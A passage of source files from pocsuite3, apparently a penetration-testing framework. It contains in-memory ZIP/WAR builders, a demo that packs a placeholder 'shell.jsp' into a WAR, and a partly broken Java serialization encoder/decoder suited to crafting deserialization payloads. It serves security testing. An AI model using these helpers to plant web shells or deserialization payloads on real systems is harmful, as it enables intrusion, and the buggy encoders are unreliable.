    "content": "#!usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n@author: longofo\n@file: memoryzip.py\n@time: 2020/03/18\n\"\"\"\nimport zipfile\nfrom io import BytesIO\n\n\nclass InMemoryZip(object):\n    def __init__(self):\n        self.in_memory_zip = BytesIO()\n\n    def add_file(self, filename_in_zip, file_contents):\n        zf = zipfile.ZipFile(self.in_memory_zip, \"a\", zipfile.ZIP_DEFLATED)\n\n        zf.writestr(filename_in_zip, file_contents)\n\n        return self\n\n    def read(self):\n        self.in_memory_zip.seek(0)\n        return self.in_memory_zip.read()\n\n    def write_to_file(self, filename):\n        with open(filename, \"wb\") as f:\n            f.write(self.read())\n"
  },
  {
    "path": "pocsuite3/lib/helper/archieve/war.py",
    "content": "#!usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n@author: longofo\n@file: war.py\n@time: 2020/03/18\n\"\"\"\nimport os\n\nfrom pocsuite3.lib.helper.archieve.memoryzip import InMemoryZip\nfrom pocsuite3.lib.helper.archieve.zip import Zip\n\n\nclass InMemoryWar(InMemoryZip):\n    def __init__(self, use_default_template=False):\n        InMemoryZip.__init__(self)\n        self.create_archieve(use_default_template)\n\n    def create_archieve(self, use_default_template):\n        if use_default_template:\n            base_web_xml = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' + '\\n' + \\\n                           '<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"' + '\\n' + \\\n                           '         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"' + '\\n' + \\\n                           '         xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd\"' + '\\n' + \\\n                           '         version=\"4.0\">' + '\\n' + \\\n                           '<welcome-file-list> ' + '\\n' + \\\n                           '    <welcome-file>index.jsp</welcome-file> ' + '\\n' + \\\n                           '    <welcome-file>index.html</welcome-file> ' + '\\n' + \\\n                           '</welcome-file-list> ' + '\\n' + \\\n                           '</web-app>'\n            self.add_file(\"WEB-INF/web.xml\", base_web_xml)\n            self.add_file(\"index.html\", \"index page\")\n\n\nclass War(Zip):\n    def __init__(self, filename='', use_default_template=False):\n        super().__init__(filename)\n\n        if use_default_template:\n            self.create_template()\n\n    def create_template(self):\n        base_web_xml = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' + '\\n' + \\\n                       '<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"' + '\\n' + \\\n                       '         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"' + '\\n' + \\\n                       '         xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd\"' + '\\n' + \\\n                       '         version=\"4.0\">' + '\\n' + \\\n                       '<welcome-file-list> ' + '\\n' + \\\n                       '    <welcome-file>index.jsp</welcome-file> ' + '\\n' + \\\n                       '    <welcome-file>index.html</welcome-file> ' + '\\n' + \\\n                       '</welcome-file-list> ' + '\\n' + \\\n                       '</web-app>'\n        self.add_file(\"WEB-INF/web.xml\", base_web_xml)\n        self.add_file(\"index.html\", \"index page\")\n\n    def get_raw(self, remove_temp=False):\n        if not self.name:\n            print('You should create war file before get raw content')\n        with open(self.name, 'rb') as f:\n            content = f.read()\n        if remove_temp:\n            os.remove(self.name)\n        return content\n\n    def get_war(self):\n        return self.name\n\n\nif __name__ == '__main__':\n    memory_war = InMemoryWar(use_default_template=True)\n    memory_war.add_file(\"classes/my.class\", b\"43535assd\")\n    memory_war.add_file(\"shell.jsp\", \"shell jsp\")\n    memory_war.write_to_file(\"../../../../mymemory_war.war\")\n    memory_war_context = memory_war.read()\n    print(memory_war_context)\n\n    war = War(\"../../../../mywar.war\", use_default_template=True)\n    war.add_file(\"classes/my.class\", b\"43535assd\")\n    war.add_file(\"shell.jsp\", \"shell jsp\")\n    war_context = war.get_raw()\n    print(war_context)\n"
  },
  {
    "path": "pocsuite3/lib/helper/archieve/zip.py",
    "content": "import zipfile\n\n\nclass Zip:\n    def __init__(self, filename=''):\n        self.name = filename\n        self.files = set()\n        if filename:\n            self.create_archieve(filename)\n\n    def create_archieve(self, filename):\n        if not self.name:\n            self.name = filename\n        zf = zipfile.ZipFile(filename, 'w')\n        zf.close()\n\n    def add_file(self, name, content=''):\n        if not self.is_valid(name):\n            return\n        zf = zipfile.ZipFile(self.name, 'a')\n        if content:\n            zf.writestr(name, content)\n        else:\n            zf.write(name)\n        zf.close()\n        self.files.add(name)\n\n    def is_valid(self, filename=''):\n        if not self.name:\n            raise Exception(\"Error. Zip archieve is not created.\")\n            return False\n        if not zipfile.is_zipfile(self.name):\n            raise Exception(\"Error. File {name} is not zip archieve.\".format(name=self.name))\n            return False\n        if filename and filename in self.files:\n            raise Exception(\"Error. There is file with the same name.\")\n            return False\n        return True\n"
  },
  {
    "path": "pocsuite3/lib/helper/java/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/helper/java/serialization.py",
    "content": "import struct\n\n\nclass Constants:\n    STREAM_MAGIC = 0xaced\n    STREAM_VERSION = 5\n    TC_NULL = 0x70\n    TC_REFERENCE = 0x71\n    TC_CLASSDESC = 0x72\n    TC_OBJECT = 0x73\n    TC_STRING = 0x74\n    TC_ARRAY = 0x75\n    TC_CLASS = 0x76\n    TC_BLOCKDATA = 0x77\n    TC_ENDBLOCKDATA = 0x78\n    TC_RESET = 0x79\n    TC_BLOCKDATALONG = 0x7A\n    TC_EXCEPTION = 0x7B\n    TC_LONGSTRING = 0x7C\n    TC_PROXYCLASSDESC = 0x7D\n    TC_ENUM = 0x7E\n    BASE_WIRE_HANDLE = 0x7E0000\n    PRIMITIVE_TYPE_CODES = {\n        'B': 'byte',\n        'C': 'char',\n        'D': 'double',\n        'F': 'float',\n        'I': 'int',\n        'J': 'long',\n        'S': 'short',\n        'Z': 'boolean'\n    }\n    OBJECT_TYPE_CODES = {\n        '[': 'array',\n        'L': 'object'\n    }\n    TYPE_CODES = {}\n    TYPE_CODES.update(PRIMITIVE_TYPE_CODES)\n    TYPE_CODES.update(OBJECT_TYPE_CODES)\n\n    SC_WRITE_METHOD = 0x01  # if SC_SERIALIZABLE\n    SC_BLOCK_DATA = 0x08  # if SC_EXTERNALIZABLE\n    SC_SERIALIZABLE = 0x02\n    SC_EXTERNALIZABLE = 0x04\n    SC_ENUM = 0x10\n\n\nclass Element:\n    def __init__(self, stream=\"\"):\n        self.stream = stream\n\n    def decode(self, io):\n        return self\n\n    def encode(self):\n        return ''\n\n    def __str__(self):\n        return self.__class__.__name__\n\n\nclass Annotation(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.contents = []\n\n    def decode(self, io):\n        while True:\n            content = decode_content(io, self.stream)\n            self.contents.append(content)\n            if content.__class__ is EndBlockData:\n                return self\n        return self\n\n    def encode(self):\n        if not self.contents:\n            raise Exception('Failed to serialize Annotation with empty contents')\n        encoded = ''\n        for content in self.contents:\n            encoded += encode_content(content)\n        return encoded\n\n    def __str__(self):\n        str = '['\n        data = [content.__str__() for content in self.contents]\n        str += ', '.join(data)\n        str += ']'\n        return str\n\n\nclass BlockData(Element):\n    def __init__(self, stream=None, contents=''):\n        Element.__init__(self, stream)\n        self.contents = contents\n        self.length = len(contents)\n\n    def decode(self, io):\n        raw_length = io.read(1)\n        if not raw_length:\n            raise Exception('Failed to unserialize BlockData')\n        self.length = struct.unpack('>B', raw_length)[0]\n        if self.length == 0:\n            self.contents = ''\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize BlockData')\n        return self\n\n    def encode(self):\n        encoded = struct.pack(\">B\", self.length)\n        encoded += self.contents\n        return encoded\n\n    def __str__(self):\n        ret = '['\n        ret += ', '.join(\"0x%s\" % byte.encode('hex') for byte in self.contents)\n        ret += ']'\n        return ret\n\n\nclass BlockDataLong(Element):\n    def __init__(self, stream=None, contents=''):\n        Element.__init__(self, stream)\n        self.contents = contents\n        self.length = len(contents)\n\n    def decode(self, io):\n        raw_length = io.read(4)\n        if not raw_length or len(raw_length) != 4:\n            raise Exception('Failed to unserialize BlockDataLong')\n        self.length = struct.unpack('>i', raw_length)[0]\n        if self.length == 0:\n            self.contents = ''\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize BlockDataLong')\n        return self\n\n    def encode(self):\n        encoded = struct.pack(\">I\", [self.length])\n        encoded += self.contents\n        return encoded\n\n    def __str__(self):\n        return self.contents.__str__()\n\n\nclass ClassDesc(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.description = None\n\n    def decode(self, io):\n        content = decode_content(io, self.stream)\n        allowed_content = [NullReference, NewClassDesc, Reference, ProxyClassDesc]\n        if content.__class__ not in allowed_content:\n            raise Exception('ClassDesc unserialize failed')\n        self.description = content\n        return self\n\n    def encode(self):\n        encoded = ''\n        allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]\n        if self.description.__class__ not in allowed_contents:\n            raise Exception('ClassDesc unserialize failed')\n        encoded += encode_content(self.description)\n        return encoded\n\n    def __str__(self):\n        return print_content(self.description)\n\n\nclass EndBlockData(Element):\n    pass\n\n\nclass Field(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.type = ''\n        self.name = None\n        self.field_type = None\n\n    def decode(self, io):\n        code = io.read(1)\n        if not code or not self.is_valid(code):\n            raise Exception('Failed to unserialize Field')\n        self.type = Constants.TYPE_CODES[code]\n        utf = Utf(self.stream)\n        self.name = utf.decode(io)\n        if self.is_object():\n            self.field_type = self.decode_field_type(io)\n        return self\n\n    def encode(self):\n        if self.name.__class__ is not Utf:\n            raise Exception('Failed to serialize Field')\n        if not self.is_type_valid():\n            raise Exception('Failed to serialize Field')\n        encoded = ''\n        encoded += get_key_by_value(Constants.TYPE_CODES, self.type)\n        encoded += self.name.encode()\n\n        if self.is_object():\n            encoded += self.encode_field_type()\n        return encoded\n\n    def is_type_valid(self):\n        if self.type in Constants.TYPE_CODES.values():\n            return True\n        return False\n\n    def is_primitive(self):\n        if self.type in Constants.PRIMITIVE_TYPE_CODES.values():\n            return True\n        return False\n\n    def is_object(self):\n        if self.type in Constants.OBJECT_TYPE_CODES.values():\n            return True\n        return False\n\n    def is_valid(self, code):\n        if code in Constants.TYPE_CODES.keys():\n            return True\n        return False\n\n    def encode_field_type(self):\n        allowed_contents = [Utf, Reference]\n        if self.field_type.__class__ not in allowed_contents:\n            raise Exception('Failed to serialize Field')\n        encoded = encode_content(self.field_type)\n        return encoded\n\n    def decode_field_type(self, io):\n        allowed_contents = [Utf, Reference]\n        type = decode_content(io, self.stream)\n        if type.__class__ not in allowed_contents:\n            raise Exception('Failed to serialize Field')\n        return type\n\n    def __str__(self):\n        ret = self.name.__str__()\n        if self.is_primitive():\n            ret += \" (%s)\" % self.type\n        else:\n            ret += \" (%s)\" % self.field_type\n        return ret\n\n\nclass NewArray(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.array_description = None\n        self.type = ''\n        self.values = []\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.array_description = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        self.type = self.array_type()\n        values_length = self.decode_values_length(io)\n        for i in range(values_length):\n            value = self.decode_value(io)\n            self.values.append(value)\n        return self\n\n    def encode(self):\n        if self.array_description.__class__ is not ClassDesc:\n            raise Exception('Failed to serialize NewArray')\n        encoded = ''\n        encoded += self.array_description.encode()\n        encoded += struct.pack(\">I\", len(self.values))\n        for value in self.values:\n            encoded += self.encode_value(value)\n        return encoded\n\n    def decode_values_length(self, io):\n        values_length = io.read(4)\n        if not values_length or len(values_length) != 4:\n            raise Exception('Failed to unserialize NewArray')\n        return struct.unpack('>I', values_length)[0]\n\n    def array_type(self):\n        if not self.array_description:\n            raise Exception('Empty NewArray description')\n        if self.array_description.__class__ is not ClassDesc:\n            raise Exception('Unsupported NewArray description class')\n        desc = self.array_description.description\n        if desc.__class__ is Reference:\n            ref = desc.handle - Constants.BASE_WIRE_HANDLE\n            desc = self.stream.references[ref]\n        if desc.class_name.contents[0] != '[':  # array\n            raise Exception('Unsupported NewArray description')\n        decoded_type = desc.class_name.contents[1]\n        if decoded_type in Constants.PRIMITIVE_TYPE_CODES.keys():\n            return Constants.PRIMITIVE_TYPE_CODES[decoded_type]\n        elif decoded_type == 'L':  # object\n            return desc.class_name.contents[2:desc.class_name.contents.index(';')]\n        else:\n            raise Exception('Unsupported NewArray Type')\n\n    def decode_value(self, io):\n        if self.type == 'byte':\n            value = io.read(1)\n            if not value:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>B', value)[0]\n        elif self.type == 'char':\n            value = io.read(2)\n            if not value or len(value) != 2:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>ss', value)[0]\n        elif self.type == 'boolean':\n            value = io.read(1)\n            if not value:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>B', value)[0]\n        elif self.type == 'short':\n            value = io.read(2)\n            if not value or len(value) != 2:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>H', value)[0]\n        elif self.type == 'int':\n            value = io.read(4)\n            if not value or len(value) != 4:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>I', value)[0]\n        elif self.type == 'long':\n            value = io.read(8)\n            if not value or len(value) != 8:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>Q', value)[0]\n        elif self.type == 'float':\n            value = io.read(4)\n            if not value or len(value) != 4:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>F', value)[0]\n        elif self.type == 'double':\n            value = io.read(8)\n            if not value or len(value) != 8:\n                raise Exception('Failed to deserialize NewArray value')\n            value = struct.unpack('>D', value)[0]\n        else:\n            value = decode_content(io, self.stream)\n        return value\n\n    def encode_value(self, value):\n        if self.type == 'byte':\n            res = struct.pack('>B', value)\n        elif self.type == 'char':\n            res = struct.pack('>ss', value)\n        elif self.type == 'double':\n            res = struct.pack('>D', value)\n        elif self.type == 'float':\n            res = struct.pack('>F', value)\n        elif self.type == 'int':\n            res = struct.pack('>I', value)\n        elif self.type == 'long':\n            res = struct.pack('>Q', value)\n        elif self.type == 'short':\n            res = struct.pack('>H', value)\n        elif self.type == 'boolean':\n            res = struct.pack('>B', value)\n        elif self.type.__class__ is Element:\n            res = value.encode()\n        else:\n            res = encode_content(value)\n        return res\n\n    def __str__(self):\n        ret = self.type.__str__() + ', '\n        ret += '\\n'.join(value.__str__() for value in self.values)\n        return ret\n\n\nclass NewClass(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.class_description = None\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.class_description = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        return self\n\n    def encode(self):\n        if self.class_description.__class__ != ClassDesc:\n            raise Exception('Failed to serialize NewClass')\n        encoded = ''\n        encoded += self.class_description.encode()\n        return encoded\n\n    def __str__(self):\n        return self.class_description.__str__()\n\n\nclass NewClassDesc(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.class_name = \"\"\n        self.serial_version = 0\n        self.flags = 0\n        self.fields = []\n        self.class_annotation = None\n        self.super_class = None\n\n    def decode(self, io):\n        utf = Utf(self.stream)\n        self.class_name = utf.decode(io)\n        self.serial_version = self.decode_serial_version(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        self.flags = self.decode_flags(io)\n        field_length = self.decode_fields_length(io)\n        for i in range(0, field_length):\n            temp_field = Field(self.stream)\n            field = temp_field.decode(io)\n            self.fields.append(field)\n        annotation = Annotation(self.stream)\n        super_class = ClassDesc(self.stream)\n        self.class_annotation = annotation.decode(io)\n        self.super_class = super_class.decode(io)\n        return self\n\n    def encode(self):\n        if self.class_name.__class__ is not Utf \\\n                and self.class_annotation.__class__ is not Annotation \\\n                and self.super_class.__class__ is not ClassDesc:\n            raise Exception('Filed to serialize NewClassDesc')\n        encoded = ''\n        encoded += self.class_name.encode()\n        encoded += struct.pack('>Q', self.serial_version)\n        encoded += struct.pack('>B', self.flags)\n        encoded += struct.pack('>H', len(self.fields))\n        for field in self.fields:\n            encoded += field.encode()\n        encoded += self.class_annotation.encode()\n        encoded += self.super_class.encode()\n        return encoded\n\n    def decode_serial_version(self, io):\n        raw_serial = io.read(8)\n        if not raw_serial or len(raw_serial) != 8:\n            raise Exception('Failed to unserialize ClassDescription')\n        return struct.unpack('>Q', raw_serial)[0]\n\n    def decode_flags(self, io):\n        raw_flags = io.read(1)\n        if not raw_flags:\n            raise Exception('Failed to unserialize ClassDescription')\n        return struct.unpack('>b', raw_flags)[0]\n\n    def decode_fields_length(self, io):\n        fields_length = io.read(2)\n        if not fields_length or len(fields_length) != 2:\n            raise Exception('Failed to unserialize ClassDescription')\n        return struct.unpack('>h', fields_length)[0]\n\n    def __str__(self):\n        ret = self.class_name.__str__() + \", [\"\n        ret += ', '.join(field.__str__() for field in self.fields)\n        ret += ']'\n\n        # if self.super_class.description.__class__ is NewClassDesc:\n        #     ret += \", super_class: \" + self.super_class.description.class_name.__str__()\n        # elif self.super_class.description.__class__ is Reference:\n        #     ret += \", super_class: \" + self.super_class.description.__str__()\n        return ret\n\n\nclass NewEnum(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.enum_description = None\n        self.constant_name = None\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.enum_description = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n        self.constant_name = self.decode_constant_name(io)\n        return self\n\n    def encode(self):\n        if self.enum_description.__class__ is not ClassDesc or self.constant_name.__class__ is not Utf:\n            raise Exception('Failed to serialize EnumDescription')\n        encoded = ''\n        encoded += self.enum_description.encode()\n        encoded += encode_content(self.constant_name)\n        return encoded\n\n    def decode_constant_name(self, io):\n        content = decode_content(io, self.stream)\n        if content.__class__ is not Utf:\n            raise Exception('Failed to unserialize NewEnum')\n        return content\n\n\nclass NewObject(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.class_desc = None\n        self.class_data = []\n\n    def decode(self, io):\n        class_desc = ClassDesc(self.stream)\n        self.class_desc = class_desc.decode(io)\n        if self.stream:\n            self.stream.add_reference(self)\n\n        if self.class_desc.description.__class__ is NewClassDesc:\n            self.class_data = self.decode_class_data(io, self.class_desc.description)\n        elif self.class_desc.description.__class__ is Reference:\n            ref = self.class_desc.description.handle - Constants.BASE_WIRE_HANDLE\n            self.class_data = self.decode_class_data(io, self.stream.references[ref])\n        return self\n\n    def encode(self):\n        if self.class_desc.__class__ is not ClassDesc:\n            raise Exception('Failed to serialize NewObject')\n        encoded = ''\n        encoded += self.class_desc.encode()\n        for value in self.class_data:\n            if type(value) is list:\n                encoded += self.encode_value(value)\n            else:\n                encoded += encode_content(value)\n        return encoded\n\n    def decode_class_data(self, io, my_class_desc):\n        values = []\n        if my_class_desc.super_class.description.__class__ is not NullReference:\n            if my_class_desc.super_class.description.__class__ is Reference:\n                ref = my_class_desc.super_class.description.handle - Constants.BASE_WIRE_HANDLE\n                values.extend(self.decode_class_data(io, self.stream.references[ref]))\n            else:\n                values.extend(self.decode_class_data(io, my_class_desc.super_class.description))\n        values.extend(self.decode_class_fields(io, my_class_desc))\n        return values\n\n    def decode_class_fields(self, io, my_class_desc):\n        values = []\n        for field in my_class_desc.fields:\n            if field.is_primitive():\n                values.append(self.decode_value(io, field.type))\n            else:\n                content = decode_content(io, self.stream)\n                values.append(content)\n        return values\n\n    def decode_value(self, io, type):\n        if type == 'byte':\n            value_raw = io.read(1)\n            val = struct.unpack(\">b\", value_raw)[0]\n            value = ['byte', val]\n        elif type == 'char':\n            value_raw = io.read(2)\n            val = struct.unpack(\">h\", value_raw)[0]\n            value = ['char', val]\n        elif type == 'boolean':\n            value_raw = io.read(1)\n            val = struct.unpack(\">B\", value_raw)[0]\n            value = ['boolean', val]\n        elif type == 'short':\n            value_raw = io.read(2)\n            val = struct.unpack(\">h\", value_raw)[0]\n            value = ['short', val]\n        elif type == 'int':\n            value_raw = io.read(4)\n            val = struct.unpack(\">i\", value_raw)[0]\n            value = ['int', val]\n        elif type == 'long':\n            value_raw = io.read(8)\n            val = struct.unpack(\">q\", value_raw)[0]\n            value = ['long', val]\n        elif type == 'float':\n            value_raw = io.read(4)\n            val = struct.unpack(\">f\", value_raw)[0]\n            value = ['float', val]\n        elif type == 'double':\n            value_raw = io.read(8)\n            val = struct.unpack(\">d\", value_raw)[0]\n            value = ['double', val]\n        else:\n            raise Exception(\"Unknown typecode: %s\" % type)\n        return value\n\n    def encode_value(self, value):\n        res = ''\n        if value[0] == 'byte':\n            res = struct.pack('>b', value[1])\n        elif value[0] == 'char':\n            res = struct.pack('>h', value[1])\n        elif value[0] == 'double':\n            res = struct.pack('>d', value[1])\n        elif value[0] == 'float':\n            res = struct.pack('>f', value[1])\n        elif value[0] == 'int':\n            res = struct.pack('>i', value[1])\n        elif value[0] == 'long':\n            res = struct.pack('>Q', value[1])\n        elif value[0] == 'short':\n            res = struct.pack('>h', value[1])\n        elif value[0] == 'boolean':\n            res = struct.pack('>B', value[1])\n        else:\n            raise Exception('Unsupported NewArray type')\n        return res\n\n    def __str__(self):\n        ret = ''\n        if self.class_desc.description.__class__ is NewClassDesc:\n            ret += self.class_desc.description.class_name.__str__()\n        elif self.class_desc.description.__class__ is ProxyClassDesc:\n            ret += ','.join(iface.contents.__str__() for iface in self.class_desc.description.interfaces)\n        elif self.class_desc.description.__class__ is Reference:\n            ret += hex(self.class_desc.description.handle - Constants.BASE_WIRE_HANDLE)\n        ret += ' => {'\n        data_str = ', '.join(data.__str__() for data in self.class_data)\n        ret += data_str\n        ret += '}'\n        return ret\n\n\nclass NullReference(Element):\n    pass\n\n\nclass ProxyClassDesc(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.interfaces = []\n        self.class_annotation = None\n        self.super_class = None\n\n    def decode(self, io):\n        if self.stream:\n            self.stream.add_reference(self)\n        interfaces_length = self.decode_interfaces_length(io)\n        for i in range(0, interfaces_length):\n            utf = Utf(self.stream)\n            interface = utf.decode(io)\n            self.interfaces.append(interface)\n        annotation = Annotation(self.stream)\n        super_class = ClassDesc(self.stream)\n        self.class_annotation = annotation.decode(io)\n        self.super_class = super_class.decode(io)\n        return self\n\n    def encode(self):\n        if self.class_annotation.__class__ is not Annotation and self.super_class.__class__ is not ClassDesc:\n            raise Exception('Failed to serialize ProxyClassDesc')\n        encoded = ''\n        encoded += struct.pack('>I', len(self.interfaces))\n        for interface in self.interfaces:\n            encoded += interface.encode()\n        encoded += self.class_annotation.encode()\n        encoded += self.super_class.encode()\n        return encoded\n\n    def decode_interfaces_length(self, io):\n        field_length = io.read(4)\n        if not field_length or len(field_length) != 4:\n            raise Exception('Failed to unserialize ProxyClassDesc')\n        return struct.unpack('>I', field_length)[0]\n\n    def __str__(self):\n        ret = '['\n        interfaces_str = ', '.join(interface.__str__() for interface in self.interfaces)\n        ret += interfaces_str + ']'\n        if self.super_class.description.__class__ is NewClassDesc:\n            ret += \", super_class: \" + self.super_class.description.class_name.__str__()\n        elif self.super_class.description.__class__ is Reference:\n            ret += \", super_class: \" + self.super_class.description.__str__()\n        return ret\n\n\nclass Reference(Element):\n    def __init__(self, stream=''):\n        Element.__init__(self, stream)\n        self.handle = 0\n\n    def decode(self, io):\n        handle_raw = io.read(4)\n        if not handle_raw or len(handle_raw) != 4:\n            raise Exception('Failed to unserialize Reference')\n        self.handle = struct.unpack('>I', handle_raw)[0]\n        return self\n\n    def encode(self):\n        if self.handle < Constants.BASE_WIRE_HANDLE:\n            raise Exception('Failed to serialize Reference')\n        encoded = \"\"\n        encoded += struct.pack('>I', self.handle)\n        return encoded\n\n    def __str__(self):\n        return hex(self.handle)\n\n\nclass Reset(Element):\n    pass\n\n\nclass Stream(Element):\n    def __init__(self, stream=None):\n        Element.__init__(self, stream)\n        self.magic = Constants.STREAM_MAGIC\n        self.version = Constants.STREAM_VERSION\n        self.contents = []\n        self.references = []\n\n    def decode(self, io):\n        self.magic = self.decode_magic(io)\n        self.version = self.decode_version(io)\n        try:\n            while 1:\n                content = decode_content(io, self)\n                self.contents.append(content)\n        except EOFError:\n            pass\n        return self\n\n    def encode(self):\n        encoded = ''\n        encoded += struct.pack('>H', self.magic)\n        encoded += struct.pack('>H', self.version)\n        for content in self.contents:\n            encoded += encode_content(content)\n        return encoded\n\n    def add_reference(self, ref):\n        self.references.append(ref)\n\n    def decode_magic(self, io):\n        magic = io.read(2)\n        if magic and len(magic) == 2 and struct.unpack('>H', magic)[0] == Constants.STREAM_MAGIC:\n            return Constants.STREAM_MAGIC\n        else:\n            raise Exception(\"Failed to unserialize Stream\")\n\n    def decode_version(self, io):\n        version = io.read(2)\n        if version and struct.unpack('>H', version)[0] == Constants.STREAM_VERSION:\n            return Constants.STREAM_VERSION\n        else:\n            raise Exception('Failed to unserialize Stream')\n\n\nclass Utf(Element):\n    def __init__(self, stream='', contents=''):\n        Element.__init__(self, stream)\n        self.contents = contents\n        self.length = len(contents)\n\n    def decode(self, io):\n        raw_length = io.read(2)\n        if not raw_length or len(raw_length) != 2:\n            raise Exception('Failed to unserialize Utf')\n        self.length = struct.unpack('>H', raw_length)[0]\n        if self.length == 0:\n            self.contents = \"\"\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize Utf')\n        return self\n\n    def encode(self):\n        encoded = struct.pack('>H', self.length)\n        encoded += self.contents\n        return encoded\n\n    def __str__(self):\n        return self.contents\n\n\nclass LongUtf(Utf):\n    def decode(self, io):\n        raw_length = io.read(8)\n        if not raw_length or len(raw_length) != 8:\n            raise Exception('Failed to unserialize LongUtf')\n        self.length = struct.unpack('>Q', raw_length)[0]\n        if self.length == 0:\n            self.contents = \"\"\n        else:\n            self.contents = io.read(self.length)\n            if not self.contents or len(self.contents) != self.length:\n                raise Exception('Failed to unserialize LongUtf')\n        return self\n\n    def encode(self):\n        encoded = struct.pack('>Q', [self.length])\n        encoded += self.contents\n        return encoded\n\n\ndef decode_content(io, stream):\n    opcode = io.read(1)\n    if not opcode:\n        raise EOFError()\n    opcode = struct.unpack('>B', opcode)[0]\n    if opcode == Constants.TC_BLOCKDATA:\n        block_data = BlockData(stream)\n        content = block_data.decode(io)\n    elif opcode == Constants.TC_BLOCKDATALONG:\n        block_data_long = BlockDataLong(stream)\n        content = block_data_long.decode(io)\n    elif opcode == Constants.TC_ENDBLOCKDATA:\n        end_bd = EndBlockData(stream)\n        content = end_bd.decode(io)\n    elif opcode == Constants.TC_OBJECT:\n        new_object = NewObject(stream)\n        content = new_object.decode(io)\n    elif opcode == Constants.TC_CLASS:\n        new_class = NewClass(stream)\n        content = new_class.decode(io)\n    elif opcode == Constants.TC_ARRAY:\n        new_array = NewArray(stream)\n        content = new_array.decode(io)\n    elif opcode == Constants.TC_STRING:\n        utf = Utf(stream)\n        content = utf.decode(io)\n        if stream:\n            stream.add_reference(content)\n    elif opcode == Constants.TC_LONGSTRING:\n        long_utf = LongUtf(stream)\n        content = long_utf.decode(io)\n        if stream:\n            stream.add_reference(content)\n    elif opcode == Constants.TC_ENUM:\n        new_enum = NewEnum(stream)\n        content = new_enum.decode(io)\n    elif opcode == Constants.TC_CLASSDESC:\n        new_class_desc = NewClassDesc(stream)\n        content = new_class_desc.decode(io)\n    elif opcode == Constants.TC_PROXYCLASSDESC:\n        proxy = ProxyClassDesc(stream)\n        content = proxy.decode(io)\n    elif opcode == Constants.TC_REFERENCE:\n        ref = Reference(stream)\n        content = ref.decode(io)\n    elif opcode == Constants.TC_NULL:\n        ref = NullReference(stream)\n        content = ref.decode(io)\n    elif opcode == Constants.TC_EXCEPTION:\n        raise Exception(\"Failed to unserialize unsupported TC_EXCEPTION content\")\n    elif opcode == Constants.TC_RESET:\n        reset = Reset(stream)\n        content = reset.decode(io)\n    else:\n        raise Exception('Failed to unserialize content')\n    return content\n\n\ndef encode_content(content):\n    # TODO encode content\n    encoded = ''\n    if content.__class__ is BlockData:\n        encoded += struct.pack('>B', Constants.TC_BLOCKDATA)\n    elif content.__class__ is BlockDataLong:\n        encoded += struct.pack('>B', Constants.TC_BLOCKDATALONG)\n    elif content.__class__ is EndBlockData:\n        encoded += struct.pack('>B', Constants.TC_ENDBLOCKDATA)\n    elif content.__class__ is NewObject:\n        encoded += struct.pack('>B', Constants.TC_OBJECT)\n    elif content.__class__ is NewClass:\n        encoded += struct.pack('>B', Constants.TC_CLASS)\n    elif content.__class__ is NewArray:\n        encoded += struct.pack('>B', Constants.TC_ARRAY)\n    elif content.__class__ is Utf:\n        encoded += struct.pack('>B', Constants.TC_STRING)\n    elif content.__class__ is LongUtf:\n        encoded += struct.pack('>B', Constants.TC_LONGSTRING)\n    elif content.__class__ is NewEnum:\n        encoded += struct.pack('>B', Constants.TC_ENUM)\n    elif content.__class__ is NewClassDesc:\n        encoded += struct.pack('>B', Constants.TC_CLASSDESC)\n    elif content.__class__ is ProxyClassDesc:\n        encoded += struct.pack('>B', Constants.TC_PROXYCLASSDESC)\n    elif content.__class__ is NullReference:\n        encoded += struct.pack('>B', Constants.TC_NULL)\n    elif content.__class__ is Reset:\n        encoded += struct.pack('>B', Constants.TC_RESET)\n    elif content.__class__ is Reference:\n        encoded += struct.pack('>B', Constants.TC_REFERENCE)\n    else:\n        raise Exception('Failed to serialize content')\n    encoded += content.encode()\n    return encoded\n\n\ndef 